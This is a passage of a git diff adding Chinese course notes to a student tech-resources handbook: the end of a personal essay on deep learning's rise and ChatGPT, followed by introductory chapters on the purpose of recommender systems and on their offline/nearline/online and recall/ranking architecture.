+我刚刚对科研建立起的美好神圣的幻想，被一篇又一篇近乎重复的论文打的粉碎，让我不禁身心俱疲。我根本不相信靠眼前这些，被当时的我定义为“学术垃圾”的论文能掀起什么风浪。可我也不知道到底什么样才是真正的科研，不知道我该怎么做。
+
+当时唯一支撑我的是某位老师的观点，她认为科技的进步和学术的发展正是建立在无意义的沙堆上的。正是这高耸的沙堆，才让人们可以清晰的看见沙堆上蚌中的珍珠散发着耀眼的光。尽管很多看起来现在无用，也许几年后，他被挖掘出来，就会发挥新的作用，我对此完全不理解，只是觉得深度学习目前这个研究方向，为什么大方向这么不可理喻。
+
+当时的我还看到了，因为他的爆火，带来了非常优秀的工具链，极大程度的降低了门槛。科研界将电子斗蛐蛐奉为圭臬，比赛和项目只是劳动力和资源的无限叠加堆砌出来结果亦或是单纯的硬扯，工业界不知道在搞些什么名堂，好像仅仅只知道跟着国外的脚步走。（甚至你在现在的讲义中仍然能发现一些我当时的看法）
+
+很多本科生诚然发了优秀的论文，可他也不过是一颗坚挺的或者优秀的螺丝钉，在正确的时间，正确的位置，做了不知道正确还是错误的事，让他取得了不属于他目前能力的成就。无论是老师还是学生都被迫进入了这一场狂欢然后做了也许不那么正义的事情。
+
+**我厌恶他！我厌恶他破坏了科研的纯洁性！我厌恶他成为了急功近利者的帮凶！我厌恶他堆砌的沙堆是充斥着无产者的血和泪！我厌恶他让马太效应发挥到了极致！我厌恶他让所有人都贴上了他的面具，但可能对本质上的东西一无所知！我厌恶他只注重结果，完全不注重过程然后让写的故事变成了捏造！**
+
+  但是，现在我会说，也许当时的我真的错了。我并没有思考过所谓人类的智能和 AI 的智能的关系，也忽视了当某一个趋势或方向发展到极致之后，量变会引发什么样的质变。
+
+[推荐大伙可以看看这个](https://www.bilibili.com/video/BV11c41157aU)
+
+<Bilibili bvid='BV11c41157aU'/>
+
+## 看山还是山
+
+> 孟德尔出生于奥地利帝国（今天的捷克共和国）的西里西亚，是现代遗传学的创始人。尽管几千年来农民就知道动植物的杂交可以促进某些理想的性状，但孟德尔在 1856 年至 1863 年之间进行的豌豆植物实验建立了许多遗传规则，现称为孟德尔定律。
+
+在孟德尔那个时代，人们不知道基因，人们也看不到那么小的东西，他给基因取了个名字叫遗传因子。他没能掌握“真实的规律”，可是我们不得不承认的是，他是一个真正有科研精神的人的科研人。                                                                             -
+
+我在不断地绝望之后，走向了极端，我放弃了跟进这个方面的学习，孟尝高洁，空余报国之情；阮籍猖狂，岂效穷途之哭！我失去了搞科研的热情，只想一心去做些别的。
+
+我看到了南大的课程，我去看一生一芯，去看 jyy 老师的 OS，我听到了蒋老师对未来 AI 的发展充满了信心，我虽然很崇拜他，但我仍对此嗤之以鼻，我不相信。
+
+一直到有一天，相先生在实验室玩一个叫 chatGPT 的东西，虽然之前懵懵懂懂的有了解过 GPT3 之类的东西，但是都对此行的发展没有什么了解，只是知道他又非常大的参数的语言模型，在好奇之下，我去亲自体验 chat GPT，我受震惊于他能准确无误的理解我的意思，甚至能替我写代码，只要将问题拆解，他几乎可以就任何一个问题给出一个反而化之的答案。
+
+随后没过多久，GPT4 与 new bing 应运而生，可以理解用户的意图和情感，根据用户的偏好和反馈来调整输出，甚至利用网络搜索来增强其的知识和回答能力，他们还结合了 CV 的功能，可以让他们来进行图像的生成工作。作为科研人的最高追求，大一统，一通半通的解决所有问题的模型竟然真的可能在我的有生之年实现，不由得震惊至极。同时，大模型也进入了 CV 领域，出现了 segmenting anything 这样可以做到零样本迁移这样的神奇功能，auto GPT 出现了在电脑主机上直接替人解决问题甚至是完成某一项工程任务的 GPT，以及可以在手机上本地做的 mini GPT，技术的爆炸以及变革似乎一瞬间到来了，但是当我回过头展望的时候，正是我最看不起的沙砾，堆叠成了如此强大石之巨人，并且随着资本的涌入，他还在不断强大！！！
+
+2012 年，被我们认定为人工智能学习的开篇之作，Alex net 诞生了，由 Alex Krizhevsky 和他的导师 Geoffrey Hinton 以及 Ilya Sutskever 设计，在 2012 年的 ImageNet 大规模视觉识别挑战赛中获得了冠军，展示了深度学习在图像分类方面的强大能力，并且正式启动了深度学习的革命，在当时他也引发了大量的争议，奉承这符号主义的大师们对着他指指点点，可是他们并不能阻碍时代的巨石碾过一切非议，并且在各个领域都爆发出极其强大的生命力。
+
+想起在学操作系统的时候，linus 在几十年前被大老师 tanenbaum 狂喷，说整了什么垃圾玩意儿。当时的 minix 基本上可以说是横扫江湖，linus 却坚持说用户只考虑用户态是否好用而不在乎内核有多牛逼，当时的论战基本上把各类大神都炸出来，结果几十年后的如今我们发现原来遍布世界的居然是宏内核/混合内核。
+
+时代的发展连大佬都可以拍死在沙滩上！
+
+从短期来看，也许未来 GPT 会接管小 AI 形成一套上下左右俱为一体的 AI 智能模型，在所谓自动驾驶，智能家居领域发挥极其卓越的作用。
+
+从长远来看，不由得联想起 AI 在围棋方面 alpha zero 的论文里面提到过，当他们不适用人类的知识的时候，反而模型的效果好很多，有没有可能 AI 在短短的未来总结出一套人类自然语言的规则后，自发创造出一个全新的语言，最终就彻底脱离人类变成一种全新的生命形式，从而彻底颠覆人类以公理为基础的数学，创造一套全新的数学体系，数学体系重做，物理学是否也会迎来质变？
+
+AI 是一个复杂且多样化的研究领域，他能取得如此长远的发展，并非是仅仅一个两个人靠着所谓的理论研究就可以推动起来的，它伴随着底层的硬件设施配套的完善，算力的突破性增长等等，发展本身，也许就是兼容并蓄的，我们应该在这个发展的洪流前，找到自己的位置以更为谦卑谨慎的姿态，进行更为长远的思考和学习吧。
+
+> 三花聚顶本是幻，脚下腾云亦非真。大梦一场终须醒，无根无极本归尘。
+
+## 结语
+
+让我们回到最开始的那几句话
+这是一个最好的时代（AI 技术正在改变人们的生活）
+
+也是一个最坏的时代（AI 也许取代大量人的饭碗）
+
+这是一个智慧的年代（很多顶尖的科学家正在改变世界）
+
+这是一个愚蠢的年代（很多高校止步于电子斗蛐蛐，很多企业只想着追赶外国不想着自己创新）
+
+这是一个信任的时期（人们将更加信任这个社会会因此变好）
+
+这是一个怀疑的时期（AI 技术带来伦理，毁灭世界等方面的讨论）
+
+这是一个光明的季节（前沿科研或科技从来没有离普通的本科生这么近）
+
+这是一个黑暗的季节（太近了导致很多人急功近利）
+
+这是希望之春（我们迎来了技术爆炸）
+
+这是失望之冬（我国仍有很多需要发展的地方）
+
+人们面前应有尽有（人们以后可能拥有了 AI 也就拥有了一切）
+
+人们面前一无所有（隐私，版权，安全等问题正在受到质疑）
+
+人们正踏上天堂之路（也许未来人类不用干任何工作实现真正的共产主义）
+
+人们正走向地狱之门（也许人类将被取代将被奴役，无数人会被取代）
+
+技术的发展往往就伴随着激烈的争议和讨论
+
+火车出现的年代人们责怪他破坏风水
+
+蒸汽机出现的时代人指责他不安全
+
+纺织机出现的时代女工辱骂他抢了自己工作
+
+而这些都不会使他停滞
+
+**这是本讲义想做的第三件事，拥有学习新技术，跟上时代的能力**
+
+而愿不愿意在这激荡翻腾的年份，贡献出你的力量，让世界变得更好/更坏，就取决于你的选择了！
+
+## 欢迎来到新世界！同学们！
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.1.md b/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.1.md
new file mode 100644
index 0000000..6e198a0
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.1.md
@@ -0,0 +1,95 @@
+# 推荐系统的意义
+
+随着移动互联网的飞速发展，人们已经处于一个信息过载的时代。在这个时代中，信息的生产者很难将信息呈现在对它们感兴趣的信息消费者面前，而对于信息消费者也很难从海量的信息中找到自己感兴趣的信息。推荐系统就是一个将信息生产者和信息消费者连接起来的桥梁。平台往往会作为推荐系统的载体，实现信息生产者和消费者之间信息的匹配。上述提到的平台方、信息生产者和消费者可以分别用平台方（如：腾讯视频、淘宝、网易云音乐等）、物品（如：视频、商品、音乐等）和用户和来指代。下面分别从这三方需求出发，介绍推荐系统的存在的意义。
+
+
+## 平台方
+
+平台方一般是为信息生产者提供物品展示的位置，然后通过不同的方式吸引用户来到平台上寻找他们感兴趣的物品。平台通过商家对物品的展示以及用户的浏览、观看或下单等行为，就产生了所谓的"流量"。
+
+对平台方而言，流量的高效利用是推荐系统存在的重要原因。以典型的电商网站一般具有如图所示的树状拓扑结构，树状结构在连通性方面有着天然的劣势，阻碍这流量的高效流通。推荐系统的出现使得原本的树状结构变成网络拓扑结构，大大增强了整个网络的连通性。推荐模块不仅使用户在当前页面有了更好的选择路径，同时也给了每个商品增加入口和展示机会，进而提高了成交概率。而推荐质量的好坏，直接决定了用户选择这条路径的可能性，进而影响着流量的利用效率。
+
+<div align=center>
+<img src="https://typoraimg-1252051831.cos.ap-guangzhou.myqcloud.com/image-20220514232543182.png" alt="image-20220514232543182" style="zoom: 80%;" />
+</div>
+
+推荐系统解决产品能够最大限度地吸引用户、留存用户、增加用户粘性、提高用户转化率的问题，从而达到平台商业目标增长的目的。不同平台的目标取决于其商业的盈利目的，例如对于YouTube，其商业目标是最大化视频被点击（点击率）以及用户观看的时长（完播率），同时也会最大化内置广告的点击率；对于淘宝等电商平台，除了最大化商品的点击率外，最关键的目标则是最大化用户的转化率，即由点击到完成商品购买的指标。推荐系统能够平台带来丰厚的商业价值 。
+
+
+## 信息生产者(物品)
+
+因为在互联网大数据时代下，物品的长尾性和二八原则是非常严重的。具体来说，对于一个平台而言80%的销售额可能是那些最畅销20%的物品。但是那20%的物品其实只能满足一小部分人的需求，对于绝大多数的用户的需求需要从那80%的长尾物品中去满足。虽然长尾物品的总销售额占比不大，但是因为长尾物品的数量及其庞大，如果可以充分挖掘长尾物品，那这些长尾物品的销售额的总量有可能会超过热门商品。
+
+物品只是信息生产者的产物，对于信息生产者而言，例如商家、视频创作者等，他们也更希望自己生产的内容可以得到更多的曝光，尤其是对于新来的商家或者视频创作者，这样可以激发他们创作的热情，进而创作出更多的商品或者视频，让更多的用户的需求得到满足。
+
+对于一个平台而言，无论是否靠平台上的物品直接盈利，其将平台上的内容与用户进行匹配的能力都是衡量平台的重要标准之一，推荐系统的好坏很大程度上决定了平台匹配需求和供给的能力。推荐系统匹配需求和供给的能力决定了其最终的商业价值。
+
+
+## 信息消费者(用户)
+
+推荐系统对于用户而言，除了将平台上的需求和供给进行匹配外，还需要尽可能地提高用户的体验，但是对于一个平台来说，影响用户体验的因素非常多（产品设计、广告数量等）。对于一个有明确需求的用户来说，用户在平台上可以直接通过搜索来快速满足自己的需求，但这也仅仅是一个平台最基础的用户体验（平台做的好是应该的，但是做的不好可能会被喷）。对于一个没有明确需求的用户来说，用户会通过浏览平台上的推荐页来获取一些额外的惊喜需求。因为用户没有明确的需求，也就对推荐页浏览的内容没有明确的预期，但是并不说明用户没有期待。我们每天都希望自己的一天中充满惊喜，这样生活才会感觉更加的多姿多彩。推荐系统可以像为用户准备生日礼物一样，让呈现的内容给用户带来惊喜，进而增强用户对平台的依赖。此外，在给用户带来惊喜的同时，也会提高平台的转化率（例如成交额）
+
+
+## 推荐和搜索的区别
+
+搜索和推荐都是解决互联网大数据时代信息过载的手段，但是它们也存在着许多的不同：
+1. **用户意图**：搜索时的用户意图是非常明确的，用户通过查询的关键词主动发起搜索请求。对于推荐而言，用户的需求是不明确的，推荐系统在通过对用户历史兴趣的分析给用户推荐他们可能感兴趣的内容。
+2. **个性化程度**：对于搜索而言，由于限定的了搜索词，所以展示的内容对于用户来说是有标准答案的，所以搜索的个性化程度较低。而对于推荐来说，推荐的内容本身就是没有标准答案的，每个人都有不同的兴趣，所以每个人展示的内容，个性化程度比较强。
+3. **优化目标**：对于搜索系统而言，更希望可以快速地、准确地定位到标准答案，所以希望搜索结果中答案越靠前越好，通常评价指标有：归一化折损累计收益（NDCG）、精确率（Precision）和召回率（Recall）。对于推荐系统而言，因为没有标准的答案，所以优化目标可能会更宽泛。例如用户停留时长、点击、多样性，评分等。不同的优化目标又可以拆解成具体的不同的评价指标。
+4. **马太效应和长尾理论**：对于搜索系统来说，用户的点击基本都集中在排列靠前的内容上，对于排列靠后的很少会被关注，这就是马太效应。而对于推荐系统来说，热门物品被用户关注更多，冷门物品不怎么被关注的现象也是存在的，所以也存在马太效应。此外，在推荐系统中，冷门物品的数量远远高于热门物品的数量，所以物品的长尾性非常明显。
+
+> 对于搜索、推荐、广告这三个领域的区别和联系可以参考王喆老师写的[排得更好VS估得更准VS搜的更全「推荐、广告、搜索」算法间到底有什么区别？](https://zhuanlan.zhihu.com/p/430431149)
+
+## 推荐系统的应用
+个性化推荐系统通过分析用户的行为日志，得到用户当前的甚至未来可能的兴趣，给不同的用户展示不同的(个性化)的页面，来提高网站或者app的点击率、转化率、留存率等指标。推荐系统被广泛应用在广告、电商、影视、音乐、社交、饮食、阅读等领域。下面简单的通过不同的app的推荐页来感受一下推荐系统在各个内容平台的存在形式。
+
+- **电商首页推荐(淘宝、京东、拼多多)**
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421190313917.png" alt="image-20220421190313917" style="zoom: 15%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421191138469.png" alt="image-20220421191138469" style="zoom:53%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421191441104.png" alt="image-20220421191441104" style="zoom:53%;" />
+</div>
+
+- **视频推荐（抖音、快手、B站、爱奇艺）**
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421190629410.png" alt="image-20220421190629410" style="zoom:55%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421191849577.png" alt="image-20220421191849577" style="zoom: 53%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421192047973.png" alt="image-20220421192047973" style="zoom:53%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421192209412.png" alt="image-20220421192209412" style="zoom:55%;" />
+</div>
+
+
+- **饮食推荐（美团、饿了么、叮咚买菜）**
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421192623380.png" alt="image-20220421192623380" style="zoom:53%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421192717773.png" alt="image-20220421192717773" style="zoom:55%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421192749794.png" alt="image-20220421192749794" style="zoom:55%;" />
+</div>
+
+
+- **音乐电台（网易云音乐、QQ音乐、喜马拉雅）**
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421193139183.png" alt="image-20220421193139183" style="zoom: 57%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421193447933.png" alt="image-20220421193447933" style="zoom:68%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421193325921.png" alt="image-20220421193325921" style="zoom: 54%;" />
+</div>
+
+
+- **资讯、阅读（头条、知乎、豆瓣）**
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421193856262.png" alt="image-20220421193856262" style="zoom:53%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421193923283.png" alt="image-20220421193923283" style="zoom:55%;" />
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220421194244083.png" alt="image-20220421194244083" style="zoom:55%;" />
+</div>
+
+
+**参考资料：**
+
+- 《推荐系统实践》
+- 《从零开始构建企业级推荐系统》
+- 《智能搜索和推荐系统》
\ No newline at end of file
diff --git a/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.2.md b/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.2.md
new file mode 100644
index 0000000..e4dbf24
--- /dev/null
+++ b/技术资源汇总(杭电支持版)/4.人工智能/ch01/ch1.2.md
@@ -0,0 +1,174 @@
+# 推荐系统架构
+推荐和搜索系统核心的的任务是从海量物品中找到用户感兴趣的内容。在这个背景下，推荐系统包含的模块非常多，每个模块将会有很多专业研究的工程和研究工程师，作为刚入门的应届生或者实习生很难对每个模块都有很深的理解，实际上也大可不必，我们完全可以从学习好一个模块技术后，以点带面学习整个系统，虽然正式工作中我们放入门每个人将只会负责的也是整个系统的一部分。但是掌握推荐系统最重要的还是梳理清楚整个推荐系统的架构，知道每一个部分需要完成哪些任务，是如何做的，主要的技术栈是什么，有哪些局限和可以研究的问题，能够对我们学习推荐系统有一个提纲挈领的作用。
+
+所以这篇文章将会从**系统架构**和**算法架构**两个角度出发解析推荐系统通用架构。系统架构设计思想是大数据背景下如何有效利用海量和实时数据，将推荐系统按照对数据利用情况和系统响应要求出发，将整个架构分为**离线层、近线层、在线层**三个模块。然后分析这三个模块分别承担推荐系统什么任务，有什么制约要求。这种角度不和召回、排序这种通俗我们理解算法架构，因为更多的是考虑推荐算法在工程技术实现上的问题，系统架构是如何权衡利弊，如何利用各种技术工具帮助我们达到想要的目的的，方便我们理解为什么推荐系统要这样设计。
+
+而算法架构是从我们比较熟悉的**召回、粗排、排序、重排**等算法环节角度出发的，重要的是要去理解每个环节需要完成的任务，每个环节的评价体系，以及为什么要那么设计。还有一个重要问题是每个环节涉及到的技术栈和主流算法，这部分非常重要而且篇幅较大，所以我们放在下一个章节讲述。
+
+架构设计是一个非常大的话题，设计的核心在于平衡和妥协。在推荐系统不同时期、不同的环境、不同的数据，架构都会面临不一样的问题。网飞官方博客有一段总结：
+
+> We want the ability to use sophisticated machine learning algorithms that can grow to arbitrary complexity and can deal with huge amounts of data. We also want an architecture that allows for flexible and agile innovation where new approaches can be developed and plugged-in easily. Plus, we want our recommendation results to be fresh and respond quickly to new data and user actions. Finding the sweet spot between these desires is not trivial: it requires a thoughtful analysis of requirements, careful selection of technologies, and a strategic decomposition of recommendation algorithms to achieve the best outcomes for our members.
+> **“我们需要具备使用复杂机器学习算法的能力，这些算法要可以适应高度复杂性，可以处理大量数据。我们还要能够提供灵活、敏捷创新的架构，新的方法可以很容易在其基础上开发和插入。而且，我们需要我们的推荐结果足够新，能快速响应新的数据和用户行为。找到这些要求之间恰当的平衡并不容易，需要深思熟虑的需求分析，细心的技术选择，战略性的推荐算法分解，最终才能为客户达成最佳的结果。”**
+
+所以在思考推荐系统架构考虑的第一个问题是确定边界：知道推荐系统要负责哪部分问题，这就是边界内的部分。在这个基础上，架构要分为哪几个部分，每一部分需要完成的子功能是什么，每一部分依赖外界的什么。了解推荐系统架构也和上文讲到的思路一样，我们需要知道的是推荐系统要负责的是怎么问题，每一个子模块分别承担了哪些功能，它们的主流技术栈是什么。从这个角度来阅读本文，将会有助于读者抓住重点。
+
+## 系统架构
+
+推荐系统架构，首先从数据驱动角度，对于数据，最简单的方法是存下来，留作后续离线处理，**离线层**就是我们用来管理离线作业的部分架构。**在线层**能更快地响应最近的事件和用户交互，但必须实时完成。这会限制使用算法的复杂性和处理的数据量。离线计算对于数据数量和算法复杂度限制更少，因为它以批量方式完成，没有很强的时间要求。不过，由于没有及时加入最新的数据，所以很容易过时。
+
+个性化架构的关键问题，就是如何以无缝方式结合、管理在线和离线计算过程。**近线层**介于两种方法之间，可以执行类似于在线计算的方法，但又不必以实时方式完成。这种设计思想最经典的就是Netflix在2013年提出的架构，整个架构分为
+
+1. 离线层：不用实时数据，不提供实时响应；
+2. 近线层：使用实时数据，不保证实时响应；
+3. 在线层：使用实时数据，保证实时在线服务；
+
+### 设计思想
+网飞的这个架构提出的非常早，其中的技术也许不是现在常用的技术了，但是架构模型仍然被很多公司采用。
+
+这个架构为什么要这么设计，本质上是因为推荐系统是由大量数据驱动的，大数据框架最经典的就是lambda架构和kappa架构。而推荐系统在不同环节所使用的数据、处理数据的量级、需要的读取速度都是不同的，目前的技术还是很难实现一套端到端的及时响应系统，所以这种架构的设计本质上还是一种权衡后的产物，所以有了下图这种模型：
+
+
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220409205047285.png" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+上面是网飞的原图，我搬运了更加容易理解的线条梳理后的结构：
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220409204658032.png" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+整个数据部分其实是一整个链路，主要是三块，分别是客户端及服务器实时数据处理、流处理平台准实时数据处理和大数据平台离线数据处理这三个部分。
+
+看到这里，一个很直观的问题就是，为什么数据处理需要这么多步骤？这些步骤都是干嘛的，存在的意义是什么？
+
+我们一个一个来说，首先是客户端和服务端的实时数据处理。这个很好理解，这个步骤的工作就是记录。将用户在平台上真实的行为记录下来，比如用户看到了哪些内容，和哪些内容发生了交互，和哪些没有发生了交互。如果再精细一点，还会记录用户停留的时间，用户使用的设备等等。除此之外还会记录行为发生的时间，行为发生的session等其他上下文信息。
+
+这一部分主要是后端和客户端完成，行业术语叫做埋点。所谓的埋点其实就是记录点，因为数据这种东西需要工程师去主动记录，不记录就没有数据，记录了才有数据。既然我们要做推荐系统，要分析用户行为，还要训练模型，显然需要数据。需要数据，就需要记录。
+
+第二个步骤是流处理平台准实时数据处理，这一步是干嘛的呢，其实也是记录数据，不过是记录一些准实时的数据。很多同学又会迷糊了，实时我理解，就是当下立即的意思，准实时是什么意思呢？准实时的意思也是实时，只不过没有那么即时，比如可能存在几分钟的误差。这样存在误差的即时数据，行业术语叫做准实时。那什么样的准实时数据需要记录呢？在推荐领域基本上只有一个类别，就是用户行为数据。也就是用户在观看这个内容之前还看过哪些内容，和哪些内容发生过交互。理想情况这部分数据也需要做成实时，但由于这部分数据量比较大，并且逻辑也相对复杂，所以很难做到非常实时，一般都是通过消息队列加在线缓存的方式做成准实时。
+
+最后我们看第三个步骤，叫做离线数据处理，离线也就是线下处理，基本上就没有时限的要求了。
+
+一般来说，离线处理才是数据处理的大头。所有“脏活累活”复杂的操作都是在离线完成的，比如说一些join操作。后端只是记录了用户交互的商品id，我们需要商品的详细信息怎么办？需要去和商品表关联查表。显然数据关联是一个非常耗时的操作，所以只能放到离线来做。
+
+接下来详细介绍一下这三个模块。
+
+### 离线层
+离线层是计算量最大的一个部分，它的特点是不依赖实时数据，也不需要实时提供服务。需要实现的主要功能模块是：
+
+1. 数据处理、数据存储；
+2. 特征工程、离线特征计算；
+3. 离线模型的训练；
+
+这里我们可以看出离线层的任务是最接近学校中我们处理数据、训练模型这种任务的，不同可能就是需要面临更大规模的数据。离线任务一般会按照天或者更久运行，比如每天晚上定期更新这一天的数据，然后重新训练模型，第二天上线新模型。
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220409205904314.png" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+#### 离线层优势和不足
+离线层面临的数据量级是最大的，面临主要的问题是海量数据存储、大规模特征工程、多机分布式机器学习模型训练。目前主流的做法是HDFS，收集到我们所有的业务数据，通过HIVE等工具，从全量数据中抽取出我们需要的数据，进行相应的加工，离线阶段主流使用的分布式框架一般是Spark。所以离线层有如下的优势：
+1. 可以处理大量的数据，进行大规模特征工程；
+2. 可以进行批量处理和计算；
+3. 不用有响应时间要求；
+
+但是同样的，如果我们只使用用户离线数据，最大的不足就是无法反应用户的实时兴趣变化，这就促使了近线层的产生。
+
+### 近线层
+近线层的主要特点是准实时，它可以获得实时数据，然后快速计算提供服务，但是并不要求它和在线层一样达到几十毫秒这种延时要求。近线层的产生是同时想要弥补离线层和在线层的不足，折中的产物。
+
+它适合处理一些对延时比较敏感的任务，比如：
+1. 特征的事实更新计算：例如统计用户对不同type的ctr，推荐系统一个老生常谈的问题就是特征分布不一致怎么办，如果使用离线算好的特征就容易出现这个问题。近线层能够获取实时数据，按照用户的实时兴趣计算就能很好避免这个问题。
+2. 实时训练数据的获取：比如在使用DIN、DSIN这行网络会依赖于用户的实时兴趣变化，用户几分钟前的点击就可以通过近线层获取特征输入模型。
+3. 模型实时训练：可以通过在线学习的方法更新模型，实时推送到线上；
+
+近线层的发展得益于最近几年大数据技术的发展，很多流处理框架的提出大大促进了近线层的进步。如今Flink、Storm等工具一统天下。
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220409205830027.png" alt="在这里插入图片描述" style="zoom:70%;" /> 
+</div>
+
+### 在线层
+在线层，就是直接面向用户的的那一层了。最大的特点是对响应延时有要求，因为它是直接面对用户群体的，你可以想象你打开抖音淘宝等界面，几乎都是秒刷出来给你的推荐结果的，不会说还需要让你等待几秒钟时间。所有的用户请求都会发送到在线层，在线层需要快速返回结果，它主要承担的工作有：
+
+1. 模型在线服务；包括了快速召回和排序；
+2. 在线特征快速处理拼接：：根据传入的用户ID和场景，快速读取特征和处理；
+3. AB实验或者分流：根据不同用户采用不一样的模型，比如冷启动用户和正常服务模型；
+4. 运筹优化和业务干预：比如要对特殊商家流量扶持、对某些内容限流；
+
+典型的在线服务是用过RESTful/RPC等提供服务，一般是公司后台服务部门调用我们的这个服务，返回给前端。具体部署应用比较多的方式就是使用Docker在K8S部署。而在线服务的数据源就是我们在离线层计算好的每个用户和商品特征，我们事先存放在数据库中，在线层只需要实时拼接，不进行复杂的特征运算，然后输入近线层或者离线层已经训练好的模型，根据推理结果进行排序，最后返回给后台服务器，后台服务器根据我们对每一个用户的打分，再返回给用户。
+
+在线层最大的问题就是对实时性要求特别高，一般来说是几十毫秒，这就限制了我们能做的工作，很多任务往往无法及时完成，需要近线层协助我们做。
+## 算法架构
+
+我们在入门学习推荐系统的时候，更加关注的是哪个模型AUC更高、topK效果好，哪个模型更加牛逼的问题，从基本的协同过滤到点击率预估算法，从深度学习到强化学习，学术界都始终走在最前列。一个推荐算法从出现到在业界得到广泛应用是一个长期的过程，因为在实际的生产系统中，首先需要保证的是稳定、实时地向用户提供推荐服务，在这个前提下才能追求推荐系统的效果。
+
+算法架构的设计思想就是在实际的工业场景中，不管是用户维度、物品维度还是用户和物品的交互维度，数据都是极其丰富的，学术界对算法的使用方法不能照搬到工业界。当一个用户访问推荐模块时，系统不可能针对该用户对所有的物品进行排序，那么推荐系统是怎么解决的呢？对应的商品众多，如何决定将哪些商品展示给用户？对于排序好的商品，如何合理地展示给用户？
+
+所以一个通用的算法架构，设计思想就是对数据层层建模，层层筛选，帮助用户从海量数据中找出其真正感兴趣的部分。
+
+<div align=center>
+<img src="https://ryluo.oss-cn-chengdu.aliyuncs.com/图片image-20220409211354342.png" alt="在这里插入图片描述" style="zoom:90%;" /> 
+</div>
+
+- 召回
+
+召回层的主要目标时从推荐池中选取几千上万的item，送给后续的排序模块。由于召回面对的候选集十分大，且一般需要在线输出，故召回模块必须轻量快速低延迟。由于后续还有排序模块作为保障，召回不需要十分准确，但不可遗漏（特别是搜索系统中的召回模块）。
+
+如果没有召回层，每个User都能和每一个Item去在线排序阶段预测目标概率，理论上来说是效果最好，但是是不现实的，线上不延迟允许，所以召回和粗排阶段就要做一些候选集筛选的工作，保证在有限的能够给到排序层去做精排的候选集的时间里，效果最大化。另一个方面就是通过这种模型级联的方式，可以减少用排序阶段拟合多目标的压力，比如召回阶段我们现在主要是在保证Item质量的基础上注重覆盖率多样性，粗排阶段主要用简单的模型来解决不同路的召回和当前用户的相关性问题，最后截断到1k个以内的候选集，这个候选集符合一定的个性化相关性、视频质量和多样性的保证，然后做ranking去做复杂模型的predict。
+
+目前基本上采用多路召回解决范式，分为非个性化召回和个性化召回。个性化召回又有content-based、behavior-based、feature-based等多种方式。
+
+召回主要考虑的内容有：
+
+1. **考虑用户层面**：用户兴趣的多元化，用户需求与场景的多元化：例如：新闻需求，重大要闻，相关内容沉浸阅读等等
+2. **考虑系统层面**：增强系统的鲁棒性；部分召回失效，其余召回队列兜底不会导致整个召回层失效；排序层失效，召回队列兜底不会导致整个推荐系统失效
+3. **系统多样性内容分发**：图文、视频、小视频；精准、试探、时效一定比例；召回目标的多元化，例如：相关性，沉浸时长，时效性，特色内容等等
+4. **可解释性推荐一部分召回是有明确推荐理由的**：很好的解决产品性数据的引入；
+
+- 粗排
+
+粗排的原因是有时候召回的结果还是太多，精排层速度还是跟不上，所以加入粗排。粗排可以理解为精排前的一轮过滤机制，减轻精排模块的压力。粗排介于召回和精排之间，要同时兼顾精准性和低延迟。目前粗排一般也都模型化了，其训练样本类似于精排，选取曝光点击为正样本，曝光未点击为负样本。但由于粗排一般面向上万的候选集，而精排只有几百上千，其解空间大很多。
+
+粗排阶段的架构设计主要是考虑三个方面，一个是根据精排模型中的重要特征，来做候选集的截断，另一部分是有一些召回设计，比如热度或者语义相关的这些结果，仅考虑了item侧的特征，可以用粗排模型来排序跟当前User之间的相关性，据此来做截断，这样是比单独的按照item侧的倒排分数截断得到更加个性化的结果，最后是算法的选型要在在线服务的性能上有保证，因为这个阶段在pipeline中完成从召回到精排的截断工作，在延迟允许的范围内能处理更多的召回候选集理论上与精排效果正相关。
+
+- 精排
+
+精排层，也是我们学习推荐入门最常常接触的层，我们所熟悉的算法很大一部分都来自精排层。这一层的任务是获取粗排模块的结果，对候选集进行打分和排序。精排需要在最大时延允许的情况下，保证打分的精准性，是整个系统中至关重要的一个模块，也是最复杂，研究最多的一个模块。
+
+精排是推荐系统各层级中最纯粹的一层，他的目标比较单一且集中，一门心思的实现目标的调优即可。最开始的时候精排模型的常见目标是ctr,后续逐渐发展了cvr等多类目标。精排和粗排层的基本目标是一致的，都是对商品集合进行排序，但是和粗排不同的是，精排只需要对少量的商品(即粗排输出的商品集合的topN)进行排序即可。因此，精排中可以使用比粗排更多的特征，更复杂的模型和更精细的策略（用户的特征和行为在该层的大量使用和参与也是基于这个原因）。
+
